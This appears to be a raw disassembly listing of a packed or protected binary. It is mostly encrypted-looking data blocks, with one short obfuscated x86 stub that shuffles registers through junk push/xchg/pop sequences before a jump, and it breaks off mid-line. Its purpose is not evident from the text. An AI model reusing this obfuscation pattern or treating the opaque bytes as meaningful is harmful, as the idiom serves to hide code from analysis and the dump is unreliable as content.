2A0A7B0Eh dd 0E4935DD6h, 6DF3C8AAh, 0C08C6EF5h, 0CE117EC7h, 60394CEBh dd 0BE52DE88h, 79000008h, 2309D148h, 0BA62239Ch, 6D22E778h dd 829044FEh, 529512F5h, 0DB36F46Ch, 0B3965D80h, 5B3922EFh dd 0B4D7848Dh, 0BA8CD1A7h, 10D64B78h, 9FB0A32Ah, 327572B3h dd 0ACEC92FBh, 524EAF17h, 0E70h, 8E675A2h, 0A381DA3Ah dd 42203BD5h, 0DFBD9E74h, 79570411h, 0CC498EDEh, 33E3B18Fh dd 977C4A28h, 0F918E6C4h, 0CEB28462h, 0D46A6547h, 7110EA84h dd 2B4E0D04h, 0E312AE7h, 0E82EECBCh, 0BB009073h, 88B60184h dd 8338ADEh, 3BB10000h, 7EC76B65h, 0EF277ADFh, 5FD7BD6Ch dd 0BEEA71A1h, 1CE30655h, 6173AC39h, 75B878BAh, 0CB52178Fh dd 5A2F2A3Bh, 7E93573Ah, 0B977FFDDh, 0CA91845Ah, 9D74381Bh dd 869B9BBEh, 8A027A60h, 0BB452103h, 0A52CA678h, 78BB44C3h dd 73560548h, 0B455F3E6h, 3E75B872h, 17AC3759h, 0C58B87E8h dd 4D00000Dh, 0E5B391CAh, 804E2C2Fh, 1FEDCB90h, 0BC8A68F3h dd 89240259h, 3A21F4E3h, 0D3888E5Ch, 6FEC27F5h, 0D4EC391h dd 0F2795D2Fh, 84D46B10h, 41CBB95h, 189F170Dh, 7EC76B36h dd 0A18378BBh, 267EC76Bh, 131134E3h, 739FBC55h, 0CF96B9A2h dd 72E928ECh, 0A41BFD4Fh, 88B5E69Fh, 773A5DEh, 0EEB30000h dd 41484A99h, 0DC41243Ch, 0D3888C4Ah, 0B2A96CB0h, 3619C88Fh dd 957BA3B6h, 0BA62080Eh, 58C0478h, 78BA7223h, 58265A8h dd 0EC64DCC2h, 0BA728365h, 0E2C50878h, 8268F31Eh, 72A1830Ah dd 0E32678BAh, 55BC8A00h, 0D6E306h, 7C78BA72h, 729B7D04h dd 0DD2078BAh, 3FE77AFAh, 83DFD259h, 2AA472B3h, 0B35CC1A3h dd 4516FF72h dd 33765B22h, 9144D84h, 8CED17ADh, 0CEB90h, 6BF02700h dd 655BF8Dh, 0A5B65A28h, 4219F9C7h, 0DC7F9664h, 0CE0963FEh dd 68361447h, 1CFADAEh, 9D6B4912h, 3709E774h, 6BEACC53h dd 956F84D4h, 4E0D04F6h, 4D682D2Bh, 131C1408h, 57BA7E61h dd 61591E04h, 0D628C2F8h, 6B1A41D0h, 997BCD88h, 3FC63E22h dd 7EC7D55Dh, 67F422E2h, 4F36D5B8h, 0FFDE884Bh, 6386D541h dd 8A78B99Ch, 9F000006h, 0C76B583Bh, 2247DA7Eh, 7D4467F4h dd 779AC151h, 941B01B0h, 78BA6269h, 0C7856BAEh, 6533114Ah dd 8C8CAFACh, 0E0674D95h, 72B38645h, 6749D04Ah, 9E72B35Fh dd 9BAACEBh, 34775C86h, 0D81D4E85h, 83E417ADh, 0C3387h dd 2338DF00h, 0BE9D7745h, 5DFE12E0h, 0FA61B17Fh, 94C74E1Ch dd 86511BB6h, 20EECC8Fh, 0B98765F6h, 5523015Ah, 0EFC19FBCh dd 6CA2840Bh, 4D2784D4h, 4E0D04AEh, 4D90A368h, 0F348F271h dd 115510h, 7179385Bh, 1A41D00Ah, 2EDC6F34h, 0A5AA58Dh dd 422536DEh, 676223CCh, 4A29DE88h, 50000001h, 694BD24Ah dd 0A07EC76Bh, 5C7BC5A6h, 81C4A96Eh, 2437DA9Eh, 0C596803Eh dd 3DF8DBA2h, 654318F9h, 0F32346DBh, 19FB8268h, 9E7EC832h dd 3FC6AC5Bh, 78C1426Ch, 7E8BAEF1h, 78C122A8h, 2D338836h dd 0D5B8A36Fh, 8EFE4F36h, 383CE4h, 8C4A0000h, 0E8AFD289h dd 0D24AA005h, 0C76B694Bh, 0C8ABEE7Eh, 2309D148h, 0BF9BC59Ch dd 92834178h, 0FCDFA6C9h, 0C193C7Fh, 78C03B36h, 9AA116C4h dd 0E48FE1EBh, 0AAA0h, 0D04C700h, 779B43D1h, 0A08635E4h dd 92C2FE2h, 0A6A45F42h, 0A4144FE1h, 7255AEF0h, 0D1F467AEh dd 0B4D7848Dh, 0DCBAA170h, 0C6A17545h, 0F566AB7Eh, 99C2510Fh dd 56CCAF76h, 0A78D55CCh, 48C6A82Fh, 0BEFD7EC7h, 3EC94B2Ch dd 9376B99Eh, 8BDC8E15h, 0DE2178BCh, 80DB3AF8h, 9D41D4A2h dd 0FCC3E675h, 295F164Dh, 41A211A3h, 0AE345h, 73E82F00h dd 0E4DC795h, 0ADAE6230h, 4A1101CFh, 0E4779E6Ch, 0D6016B06h dd 703E1C3Fh, 9D7B5A6h, 0A573510Ah, 3F11EF6Ch, 6DF2D45Bh dd 9D7784D4h, 4A1104FEh, 0E8739E6Ch, 8BD04402h, 4C332A8h dd 0E72B4E0Dh, 0CD53312Ah, 4A5h, 5D819351h, 0B980A3B8h dd 3D20E70Ah, 9D148D8h, 888D9C23h, 478A78BFh, 51411724h dd 21CF78C0h, 0CBE0A55Ah, 14ABE48Fh, 0B9000002h, 6042C941h dd 0E578C045h, 44CBADA2h, 905078C0h, 0F1B8DB80h, 3BFA5F42h dd 7EC76B5Eh, 0B39941D8h, 0BA61FB2Ch, 17FD4078h, 0C5A3B859h dd 1E411AF7h, 0E7AC3B1Eh, 913FF7DEh, 1F01F638h, 0A478BB43h dd 0ECCB261h, 0F2705308h, 0B456D06Bh, 0D55CD472h, 72B42FF3h dd 0D5523578h, 35245B92h, 7CDD17ACh, 0A0780h, 4F0C0B00h dd 0EA71A371h, 89D23E0Ch, 2635DDABh, 0C09B7A48h, 0B22547E2h dd 4C1AF863h, 0E5B391CAh, 814F2D2Eh, 1BEDCB90h, 6ECEB037h dd 795384D4h, 4E0D04DAh, 312AE72Bh, 70474F0Eh, 12F06BA6h dd 88B11C69h, 1656FDEh, 4A960000h, 0AFD2898Ch, 0D04105E8h dd 0ED24688Bh, 4A08906Eh, 30B093C8h, 528E6D29h, 0F2ABA5Bh dd 44027A60h, 1CA98CCFh, 78C10549h, 5B688BCEh, 78C0E585h dd 0E91E6513h, 0E48F3B9Ch, 5FEFh, 0D33FFD00h, 0BB9E6588h dd 8CD14856h, 0EDB4D784h, 0FAD1583Eh, 7778BF9Ah, 5E4D9AB0h dd 0BE85A8B3h, 1646568Bh, 763D60FBh, 0E8F518C7h, 78C04E12h dd 0CE4604A0h, 375A0110h, 4EDEC170h, 0E035F369h, 964516FEh dd 2AC9AC73h, 0E48FCE5Bh, 80DB35F3h, 0BE20125Dh, 0AB054A01h dd 0A9D819FCh, 0FF000000h, 684E0D04h, 876F68AAh, 86368E7h dd 0E9B0D382h, 8F4D4B06h, 0EDB4D784h, 0FCF460Ah, 88AB5A01h dd 0A88ECD44h, 4F3229EAh, 9AC15094h, 694525BCh, 0FCC17EC7h dd 0F55179B0h, 0BCFB206h, 0ED775506h, 41C8AE74h, 78BDAB8Fh dd 33AB91D4h, 0BE5ACAACh, 290C4F78h, 3328EDABh, 0CD8E8755h dd 0A20A3396h, 0B1AD0E11h, 8B8h, 0C09EBD5Ah, 5B3922F2h dd 0FAD8838Dh, 9775E62Ch, 310F4CC9h, 1401D696h, 7B9B6947h dd 0DF3402E0h, 41D09E7Ch, 866A3C1Ah, 0D4701DFFh, 29C8A284h dd 0D3888C4Ah, 4206E9B0h, 0DCAA88D3h, 0D9482635h, 40D10D04h dd 8231F81Bh, 0E1F61B5Fh, 2BE99B01h, 13460D30h, 17C6D061h dd 267B339h, 48500000h, 9C2309D1h, 78BA62D1h, 0E2799755h dd 9815F8BFh, 76343255h, 86D5419Dh, 0CAED9C63h, 0BD932003h dd 4B78BA73h, 6421269Dh, 27E495A9h, 20Fh, 14D24A4Eh, 743B5EFDh dd 0C76B9D7Fh, 0E394D47Eh, 0F2018D55h, 5DE4CA0Dh, 7EC80A7Bh dd 4DDABD00h, 7EC80A70h, 4E2B77EAh, 0D607972Fh, 50D7BD6Ch dd 78BB384Dh, 2BE9CF12h, 0F9775E6h, 0BBA1D297h, 7C101980h dd 0BB1BA587h, 0A76A2A78h, 1BCA91B4h, 0BE9D7438h, 60869B9Bh dd 2E58F37Ah, 9E5C72B4h, 0FFC6E972h, 3B1E3DD3h, 8F447BBEh dd 0B217AC5Dh, 7B25551h, 0B7600000h, 1CF8C6A4h, 7D93613Fh dd 0E03200DEh, 46CF9D7Bh, 0D09C3715h, 6F4D0E07h, 8E675A1h dd 0A482D93Ah, 42203BD6h, 23058C70h, 0A884D471h, 0D042FCEh dd 2AE72B4Eh, 6B9173FAh, 0D3167EC7h, 3A420124h, 0AC789945h dd 0C76B4325h, 0C74EC87Eh, 7EC76AE5h, 0C978276Ah, 0B14342EBh dd 3848DE88h, 56000001h, 0F9CC3891h, 13F68791h, 0CA0D04AEh dd 0DB6291CCh, 7EC77AF9h, 33083B7Eh, 0A0C372A0h, 0C8A6B55Ch dd 1D03DB3Eh, 0C07BC396h, 0E2054878h, 0C05AFFD5h, 98DF8D78h dd 8FC52263h, 4169E4h, 0B9770000h, 0A9E87E59h, 9EB14979h dd 8988CCEFh, 39E8AFD2h, 0D148F156h, 0C59C2309h, 4278BF9Bh dd 0B85B19FFh, 0D6B980A3h, 3B380E1Bh, 18C678C0h, 0E1E99CA3h dd 0ADA2E48Fh, 0B0000000h, 153823F2h, 4066B4Eh, 0E72B4E0Dh dd 0CF472D2Eh, 0C76B6648h, 75A8EB7Eh, 0FAFEE37Dh, 712C0F04h dd 9177E42Dh, 381AA119h, 0BD7EC810h, 10A3857Ah, 0E5287EC8h dd 0E034702h, 681744D0h, 0D144028Ah, 6A1AA78Ah, 607EC786h dd 42CCAAB1h, 9A2107DFh, 78BD3CE8h, 4604EA2Dh, 0E0AE8CCFh dd 0EEEF2635h, 5311A278h, 66EF6F2h, 73A40000h, 0D83C0AE8h dd 39D7A583h, 9C764422h, 213E1BFh, 8CE07B59h, 0B391CA4Bh dd 4C2A31E5h, 0E8C6957Eh, 8664F71Ah, 6749D0B4h, 0EC84D472h dd 11047312h, 739E6C4Ah, 0BD820AE8h, 76DA6709h, 0B705334h dd 0D7848C4Ah, 7AE130F4h, 5DFE1357h, 27F97Fh, 4960000h dd 0CB0ECA0Dh, 2DA848D7h, 0FA175B7Eh, 17DF3E61h, 0BD44BCA0h dd 7EC862DBh, 763A1D60h, 5CE2C09Bh, 19h, 4E0D04F9h, 6B471E2Bh dd 74887EC7h, 993ED30Fh, 0EFBF52E2h, 0F7D584E8h, 4E0D0488h dd 6C362B2Bh, 0DACF1912h, 1F5C8F3Ch, 0BC85EAA7h, 0D34B31E0h dd 251C440Eh, 0B1A66D41h, 7EC7B8CFh, 0B02E1154h, 0BAB06229h dd 0F71FDF78h, 92C2FE7h, 0A9709342h, 0BC5614FAh, 0D2B57C9Fh dd 0E07B9654h, 7EDD3402h, 0B7992098h, 3C78BAC0h, 0DB89C6F9h dd 7E4E6768h, 79E0E09Bh, 0BC43BBA1h, 78BB4CDAh, 0EA719F5Fh dd 53DA583Bh, 72AE43AFh, 0CD8B71B4h, 6C311744h, 0AE4B2F9Eh dd 0A218FB9Bh, 8415551Ah, 0B474F1D6h, 0E06547CEh, 0A7EA72ADh dd 4A1100C4h, 68322727h, 730A3757h, 16F87FAFh, 9B72AE65h dd 3CC3A958h, 72AE655Ah, 7ED9CDFh, 0A67B4D80h, 9219916Ch dd 6CA74CB0h, 920FF235h, 6E1D3ED2h, 0B9197037h, 3430911Dh dd 50Ch, 6C4A1106h, 7E5769Eh, 0A684D739h, 43213AD8h dd 0DDBBA075h, 68AD2A42h, 0CF4715F3h, 33E0AE8Ch, 957C4A28h dd 3216E8C6h, 0D473C9ABh, 0D5744E84h, 41D10D04h, 8130F71Ah dd 1F3CD5A3h, 259B8FCh, 0A31820DFh, 0DBC19A77h, 3F62F91Dh dd 761F9578h, 0DE88B10Fh, 497Ch, 8B128A00h, 7EC75FA9h dd 3553DCE0h, 4D32084Dh, 0AF03D70Ah, 9D8838E4h, 0D14855BAh dd 0B1D4878Ch, 853BEEAh, 32EC7359h, 7778BFB5h, 81904E34h dd 0BB79F7DAh, 8E250358h, 78C01DB6h, 583625ECh, 0AFD2898Ah dd 46BB3h, 0D045000h, 8AA3684Eh, 0A616B7Fh, 0F79E5386h dd 9F01DA57h, 54BD01BCh, 0BA9F2907h, 24F77E64h, 0A978C11Ch dd 60364366h, 9678C0FCh, 78BCDF7Ch, 8096C299h, 0E36DB8DBh dd 207E8034h, 4E35A397h, 288F3D11h, 8F347213h, 4B19E4h dd 69270000h, 918FB2A9h, 0C0E4280Ah, 0BB6AAD78h, 0D14873D8h dd 115E2309h, 5AEEF06Ah, 0A616CD83h, 0D7863323h, 18EF76F4h dd 9578C00Dh, 4C222F52h, 0DA78C0ADh, 0D5B0572Ch, 79E48F6Fh dd 1E015ABBh, 0CFDDh, 0E82DEB00h, 0A6895073h, 0BB854A41h dd 0B2D0585Ch, 6648CFB5h, 0EB7EC859h, 1001C5A8h, 31E4284Bh dd 4EC3072Ah, 6BA6EA0Dh, 97BAA173h, 0EC9BC053h, 7799573Dh dd 17FAC1E4h, 5C0A0AA1h, 91807EC8h, 6F92C94Dh, 4D1BF9A8h dd 747497C4h, 914F35EDh, 0EEB5D883h, 8B068D0Bh, 5078C07Ch dd 0B2D58690h, 83CDB8EBh, 0A6C84714h, 0CC9119F7h, 0C1DF6002h dd 43C3A6F9h, 0D08B8BDEh, 5137E6ADh, 0B63E1ECAh, 3A206372h dd 0E4C2997Ch, 255CFF16h, 17A97F8Ch, 45181475h, 0CD000003h dd 6533114Ah, 0CEACAFh, 9F6D4B10h, 3C0AE873h, 9A482D9h dd 0BAA17463h, 53080EDCh, 0EF6CA775h, 8DCE4311h, 72F9DDAFh dd 84D47590h, 49C3B15h, 9E6C4A11h, 9B0AE873h, 2309D148h dd 1BCECA5Eh, 3F22F8C5h, 0E4633AC1h, 9DE078BFh, 858FF2B7h dd 0D89AF566h, 0D2F566ACh, 606D280Bh, 78C0A58Ah, 0EE156A18h dd 0E48F7797h, 3E1DF9B7h, 0B4961D1Bh, 3978C099h, 236447F6h dd 0F9h, 0B9A27331h, 62E9CF96h, 78C09980h, 7ADFC205h, 0C272854Ah dd 7E75290Fh, 213AD79Bh, 5BBAFEh, 391BA21Ah, 0BE7EC840h dd 0D0DD987Bh, 7EC842D0h, 0AB8D148Ch, 307EC83Bh, 9E8007EDh dd 237EC83Bh, 0D839FDE0h, 5F1DA583h, 0BC83A6B5h, 5FFC15D9h dd 0FD253C3Ch, 64159017h, 97DA78C0h, 0F42A2FB9h, 0BB82870Eh dd 0BF7F72B6h, 20E70A51h, 9B138B71h, 0B76C3214h, 9174B772h dd 351348CDh, 76ADAE67h, 17A8F945h, 3D5F5BBCh, 0D5000002h dd 6D3B1942h, 8D6B4A7h, 0A7755308h, 4412F06Bh, 11AC8AD1h dd 0C2997C5Bh, 5B0016E4h, 0F764AF7Dh, 95C64B19h, 7A01E5B7h dd 84D47698h, 4A4431Dh, 0E46C4A11h, 6B03E56Ch, 45887EC7h dd 0B1739E62h, 0C76B482Ah, 6345CC7Eh, 0E87EC76Bh, 1300C0A5h dd 0A36D9948h, 1FCE95B8h, 0AF4B941h, 3526EE95h, 11E37002h dd 8C9538DCh, 5F42F1F8h, 0CA0D04FAh, 8E2D19F4h, 3F21A892h dd 0C47EC779h, 23D281h, 280655BCh, 0BEA4B75Ah, 0C8E63BF9h dd 5B3E2067h, 61B9A0A0h, 14A5F47Bh, 5B2278C0h, 29B49553h dd 1546CF7Dh, 5094B766h, 33779AC1h, 2F587BE0h, 19A084FBh dd 78C0E037h, 0D6CA79BCh, 4AC71368h, 6D35BC8Dh, 0B05DBD8Ch dd 0EB0B9129h, 300EBD6Ch, 856BB3A6h, 0B966EBFEh, 8AADF072h dd 0AB8D148Ch, 3072B9FFh, 0CB460AEDh, 580E6D90h, 0FF7759E0h dd 0B9FC72B9h, 0E97146D6h, 4CC4AA70h, 0FF6B4DD4h, 0ADF072B9h dd 342A3DCAh, 0EC2F6CB2h, 0DD1400Eh, 0BFA55407h, 0CBDEC047h dd 0E9636CB2h, 0B2CC8062h, 13C2056Ch, 0E2317530h, 0DC4A5679h dd 820981E7h, 6CB2CCA0h, 3BFFE225h, 520908D6h, 0CC03E56Ch dd 45886CB2h, 2B2EB896h, 37860DF3h, 0B466AAF6h, 70A4E71h dd 0B7253154h, 0A2C75AC0h, 0FEC5E873h, 66AB694Fh, 114AC9F5h dd 0DA29B02Eh, 5760A3C8h, 7968B890h, 0CE7D0F68h, 6CAA68F0h dd 97BAA172h, 0B43B21D0h, 60A50BD2h, 0B1311457h, 58C72A8h dd 5A98026Dh, 0F368AA6Ah, 34DD2144h, 967B4927h, 4595A2C5h dd 7B9DB85Fh, 5FA3C695h, 5982A5B6h, 0BA015E25h, 23058C04h dd 61FDB8C8h, 0C188ABB0h, 26B699DCh, 0CC53CB51h, 0FDB8C7EAh dd 85492C6Fh, 23F1CF8Ch, 4C4A6DEEh, 6A388987h, 36BD78F1h dd 0FDB8C354h, 4E796D9h, 50CD240h, 0BD6C3356h, 2C8312D7h dd 91B4A769h, 8F8097CAh, 34702E5h, 0E72B4E0Dh, 130D302Bh dd 695D3A81h, 0DBA084FBh, 0E3AEBB55h, 0E6C84F35h, 6BFDB8F8h dd 0D2967928h, 703E1C3Fh, 5CD4BAA1h, 0B8F8F3D5h, 5AB878FDh dd 0B46F5201h, 3B8h, 15205500h, 25481304h, 82B30E1h, 0E90C4FC4h dd 0C7EA71A5h, 0A6C99283h, 85A8B362h, 678AD141h, 4B6EED23h dd 2B4E0D07h, 0E289522Ah, 4C281h, 0EA830000h, 24143304h dd 33241431h db 14h, 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 60CF9C4h mov eax, [esp] add esp, 4 push 72DAh mov [esp], esp add dword ptr [esp], 4 pop ecx push 40A3h mov [esp], eax pop dword ptr [ecx+8] mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop eax add esp, 4 jmp loc_4FF07A ; --------------------------------------------------------------------------- db 7Dh, 50h, 0C6h dd 33B841F6h, 3060D0Eh, 0CAE0FFC5h, 8740E802h, 983CCED0h dd 0DC16EDF6h, 4930B8DDh, 621F3F04h, 0AB222316h, 72162FB4h dd 0DF44C128h, 5E2B3190h, 0E379C928h, 79CB70h, 0CF08A402h dd 0F25C08F6h, 2A45C4B4h, 0EC4F5FE5h, 1952649Bh, 6708F264h dd 6D149283h, 0B9615C63h, 46053D9h, 6C2AD9C0h, 6171CEA9h dd 8B70129Ch, 0FE16DE37h, 0F14D5E04h, 2D6B5582h, 0BA075D41h dd 0E918BA1Ah, 1Ch, 2FF42E34h, 23D0000h, 5 dup(0) dd 0C6DE9h, 10C96800h, 2BE9060Dh, 68FFFB31h, 60D11B7h dd 0FB3121E9h, 138168FFh, 17E9060Dh, 68FFFB31h, 60D146Dh dd 0FB310DE9h, 155168FFh, 3E9060Dh, 68FFFB31h, 60D1731h dd 0FB30F9E9h, 17AF68FFh, 0EFE9060Dh, 68FFFB30h, 60D1911h dd 0FB30E5E9h, 1A0F68FFh, 0DBE9060Dh, 0A2FFFB30h, 0EA55D4D7h dd 2E9918ABh, 70DB5A61h, 0B621A023h, 0F966E5E4h, 0F92E009h dd 52552590h, 992C68D3h, 0DAE1AF1Ah, 14876C5Bh, 2041703Bh dd 0ED90E517h, 13B418A3h, 4BBF3E4Dh, 970A8383h, 2C538FB7h dd 7F1C80A9h, 0DFB48F54h, 7BD9A687h, 732DEF9Dh, 30BB047Bh dd 2A34C0h, 0E45F0000h, 30A31C38h, 2C53AF1Ch, 0F7F4C736h dd 21A0F293h, 0A00162BDh, 0AFB49F3Ch, 0C6A7DFB4h, 0CBBD9BF9h dd 0D76A732Dh, 95000000h, 8D00A3EDh, 264C7F42h, 4E512190h dd 87288CEDh, 0B152B635h, 0C5C496EFh, 7FF6D94Ch, 0B3DC264Ch dd 1362D952h, 61D12C90h, 0A5347A1Bh, 84A7BF26h, 81CF264Ch dd 4E107BFAh, 849FB023h, 8AB3D9B3h, 952C529h, 0B384B996h dd 7099D9h, 1E60AE6Eh, 3AB12A8Bh, 0A904687Bh, 4B6BDE39h dd 9DD3AC72h, 206F1F63h, 0D6371B27h, 1B3BE357h, 57642BA2h dd 0CD2898F3h, 0AE3AA85Ah, 1891BAD5h, 51D0D3A1h, 701594E6h dd 13B8368Bh, 3B9FD7A9h, 0B600000Ah, 0FE69E8E3h, 42AD2CBFh dd 84EF6E7Dh, 0CA35B437h, 0D7AF988h, 2BBEFCF5h, 6E7141ACh dd 0B53084EFh, 0F685CB36h, 30A38877h, 20416F1Fh, 0EDAC0133h dd 0CB7E0BAFh, 0C622F0B3h, 0BAAABB54h, 0A90ABC36h, 0EAF1BF2Ah dd 38E4406Bh, 1C30A31Ch, 3A2C53AFh, 69325FF8h, 0F4239526h dd 3B9A0AD3h, 3A11AE12h, 0EEDFB4A6h, 4AB61AA1h, 97F5FB32h dd 7242E911h, 0D9B0D65Eh, 9F0098EEh, 0BD8A1F3Bh, 723F209Ch dd 0F1F0C239h, 42C2328Dh, 732D7D64h, 0C213h, 0A3ED3E00h dd 4113B418h, 3941DE42h, 51264C84h, 92FD7C0Fh, 0AF59BDCCh dd 0FB6EE76Fh, 0D3AC72FBh, 1185042Dh, 59D049CDh, 0CB268A1Dh dd 0AC8D005Bh, 0FED5AEDAh, 9C135CD5h, 0D68CCDFh, 4346149Dh dd 0CB3E87C4h, 0D5A33784h, 58D5D0A4h, 6436BF2Fh, 1A4DC065h dd 693B13B9h, 94D31h, 0D6D1A400h, 1AADEC57h, 5C6F309Bh dd 0A22172DDh, 0E7FAB823h, 0DE07FB68h, 238E0D9Ch, 66D15053h dd 0AD189712h, 6A59D8E3h, 6E3D1285h, 0E3152041h, 0D4A41B8Eh dd 9AD861D1h, 24B8807h, 4C7F408Fh, 5D239226h, 0F47DED4Eh dd 5DA61FAAh, 0BAF9B91Bh, 0B75A0D06h, 264C4898h, 0C02191BAh dd 88C73A83h, 0CA264C48h, 0EDE831A1h, 13B418A3h, 4BBF3E4Dh dd 79587283h, 812CB59Bh, 0F051B235h, 2CBF0077h, 0F9C66DC8h dd 0B42782F2h, 2C53CAACh, 4327B0F2h, 2AFD9626h, 0CE325BBAh dd 0D958632Dh, 3599206Eh, 6B41D498h, 81045454h, 9824B11Dh dd 0B0791E25h, 0D4384B09h, 355623B8h, 7CE3B0E1h, 0EB28A732h dd 31A12474h, 6FD3E6A8h, 0FF1CFED2h, 4F1CB554h, 9413A6E8h dd 4C0E6729h, 578DC3Dh, 747745BCh, 0FF1CFED1h, 0D8EBAA54h dd 3DC2325Bh, 54FF1C15h, 2C93604Fh, 0F8411162h, 64BF23B6h dd 0E3449F03h, 1FACF36Ah, 0FAB960BBh, 0BA2A85E9h, 19A0EE59h dd 43C30BB5h, 0F7EB57CAh, 7EED5EE0h, 4C279931h, 46D53228h dd 7F2681E5h, 0EB46AA31h, 77970B8Ah, 0C40D56CFh, 0E0A07E51h dd 0B92B544Ah, 4FDB8D9Ah, 6CF1619Bh, 40FF3594h, 0A72477E6h dd 945E246h, 4C40E90Ch, 24DC009h, 5040E90Ch, 0AB3E8027h dd 837CEC47h, 727A58B6h, 0BA29DFDAh, 54000004h, 9590D21Bh dd 592D4CCh, 3CC03A6h, 0DD06264Ch, 3E7E86Dh, 8EC5264Ch dd 0A6264CF3h, 264CEFB5h, 820152C9h, 17468D12h, 4F98264Ch dd 4C17F3DCh, 46B6DF26h, 73EC68B4h, 0DC785B31h, 46EFC4ECh dd 43E254EDh, 8CE757C6h, 53754D19h, 49EE172Ch, 19AFF93Eh dd 83B2EABCh, 6E000007h, 0B621A02Bh, 0FA65E4E7h, 3CA726B5h dd 82ED6C7Fh, 0C532B130h, 0E3E6B43Dh, 26B9F964h, 6D783CA7h dd 0AE3D83EEh, 0E85B402Fh, 20416CE7h, 0ED64B9EBh, 569F18A3h dd 7FB59A0Dh, 749D264Ch, 4C7FFED1h, 3BABD426h, 83834BF5h dd 8EFE970Ah, 37602C59h, 9231B2B8h, 851CA4Ah, 0A502E2C6h dd 0D8A6485Ah, 0B1126DD1h, 0F5ECBC41h, 95BED5A1h, 0D5D6A51Ch dd 90460571h, 0F9D2A787h, 65C22898h, 26467F2Bh, 0ACE8D6F6h dd 0A30487D3h, 0A56C942h, 4C68D909h, 0A4CBF23h, 0E1CC0889h dd 0A42773C6h, 9D41D343h, 8BBE0079h, 0BFC091BCh, 1304C14Dh dd 9AD548A3h, 0BC12D0C4h, 57617545h, 0DC758F6h, 711276D7h dd 0E23DA122h, 89B21181h, 0C4D79910h, 487D44Bh, 7FF63394h dd 982B683Dh, 878D934h, 5AA317Fh, 0D82A60F4h, 97E018EAh dd 5A000006h, 0A20D8C1Fh, 0E651D0D3h, 28931299h, 6ED9586Bh dd 0B11E9D2Ch, 0C7DA9851h, 0A9DDD48h, 5154208Bh, 921967D2h dd 0CC3F2413h, 20416B83h, 0E4489DCFh, 30A31C38h, 2C539C28h dd 28A3F76Eh, 0CC3059B8h, 0B29D1059h, 0A0DFB49Ch, 307E0777h dd 0DAA445A9h, 3AFF6BCFh, 868477DBh, 5F6C33DAh, 0AF7CADFBh dd 0F3CC0376h, 0DD06DFB4h, 4C95287Ch, 0B4F3F6D9h, 43B3DCDFh dd 0C10D7D4Ah, 0B55CC45h, 42B51080h, 0D5AB103Ah, 35460980h dd 0E4EB5ED1h, 0EED5BD10h, 95F464C5h, 4D86ED6Ch, 91D5BD10h dd 0D0888F4Fh, 0E9594309h, 0BD2A6B64h, 26E834D5h, 92ED5158h dd 4C45B831h, 12DFA8DBh, 970A54D0h, 4FC1A1AFh, 0F05B831Eh dd 379606EBh, 0BF0DAA0Eh, 0E7CBA88Eh, 0CBA88EEDh, 4BF0FBC5h dd 0DB2A3A8h, 0B31C5426h, 3E000005h, 86F1707Bh, 0CA35B437h dd 0C77F685h, 52BD3C4Fh, 95028100h, 0B336846Dh, 0F689C934h dd 3D480C77h, 7E0D53BEh, 0B82B10FFh, 20416A97h, 0E43489BBh dd 30A31C38h, 2C598E59h, 0A45B8F9h, 48DFBE8Fh, 0B95ABE1Fh dd 0F165E4F7h, 29CA2E2Ah, 6AD55467h, 7F0C4F24h, 0FB5FC01Bh dd 2185145Ah, 0E821EE87h, 8F232C9Fh, 62FDFBEh, 38430D96h dd 0EB7957B9h, 0E0577327h, 50AB0F92h, 1A354E0h, 246D0000h dd 0BE839EB1h, 1B8BB4DFh, 5ED91BD2h, 0EAE558C6h, 0E8264CC3h dd 70C74DBFh, 0F717A919h, 0FF63D64Fh, 0FD2C53EAh, 7EA972B4h dd 0CF76BFECh, 0B513232Ch, 0C59C3ADFh, 0D087A2DFh, 5BBA2A53h dd 1C31CE32h, 0CDFB5E6h, 34D5394Ch, 0A1FC606Bh, 0C125B4FAh dd 75966352h, 0C098DAD5h, 0FF22430Fh, 4BE639E7h, 0E88FD6D9h dd 42B27F78h, 0ACEF699Ah, 0E55976E9h, 5079DFB5h, 250411DEh dd 64D84BC4h, 6ED5AA9Ah, 1289C645h, 46CF3F42h, 39D96078h dd 0D120B1D8h, 256B0C70h, 7BA31796h, 0A21962DBh, 0B7C28CD1h dd 3397F853h, 0E3E368D8h, 0F5DFA2A5h, 80CB68CCh, 0D3CBA665h dd 0E9C725F2h, 0C7671F19h, 65370050h, 46A10566h, 204AD6h dd 0E4750000h, 30A31C38h, 2C53AF1Ch, 0CA90D36h, 0DFB4AFC7h dd 8663314h, 732DCC2Ah, 0AFD9h, 0A3ED0400h, 9CFD8CD2h dd 0B5C59738h, 0C623F262h, 82FB5CBAh, 0D4384B0Bh, 22C30979h dd 5DD44D5Ch, 0CF2A8E19h, 0E5556828h, 29B0FE9Fh, 243B43AAh dd 0D53264Ch, 438BFF7Eh, 8E014AC3h, 264CE441h, 51502291h dd 0B22580F0h, 2C56B2EDh, 0A9D267A9h, 3F1C2DDFh, 0CE4770CFh dd 1F830857h, 4B5C1DC4h, 0C11C8CE7h, 0FA79084Ah, 19BECD8Fh dd 19A074ACh, 0D3E018EAh, 1E000003h, 66D1505Bh, 0AA159417h dd 0EC57D6E5h, 329D1CAFh, 75E26160h, 9316648Dh, 0D6E9A914h dd 1DA8EC57h, 5E6D339Eh dd 980BF0DFh, 204168B7h, 0ED14699Bh, 329D1CAFh, 0B3DE5D6Ch dd 0B418A3EDh, 0BF3E4D13h, 5FD21B94h, 264C7F70h, 44C93962h dd 264CFF0Fh, 0B3FF2E25h, 31D5F9D9h, 707341B8h, 5B32A500h dd 0FBD3A60Eh, 18C46ED2h, 0C01083FCh, 92D5A1DAh, 1613C469h dd 0C79913BDh, 3558Fh, 0CED99C00h, 1295E44Fh, 54672893h dd 9A296AD5h, 0DFE2B01Bh, 0D60FF360h, 1B860584h, 5EC9485Bh dd 0A5108F1Ah, 6251D0DBh, 68C50A7Dh, 0DB0D2041h, 5FD21B86h dd 264C7F70h, 40C93962h, 66076B7Eh, 0D5129118h, 8BD80693h dd 34A7656Dh, 264C101Bh, 3DAD0E37h, 6AE363ABh, 0F219F328h dd 19895C46h, 49F96B74h, 0D02B9BBBh, 5FD24587h, 906F0F13h dd 0A55A2F1Bh, 0E858B94Fh, 53CA6363h, 0E84C752Ch, 0B54A004Bh dd 0A57253DFh, 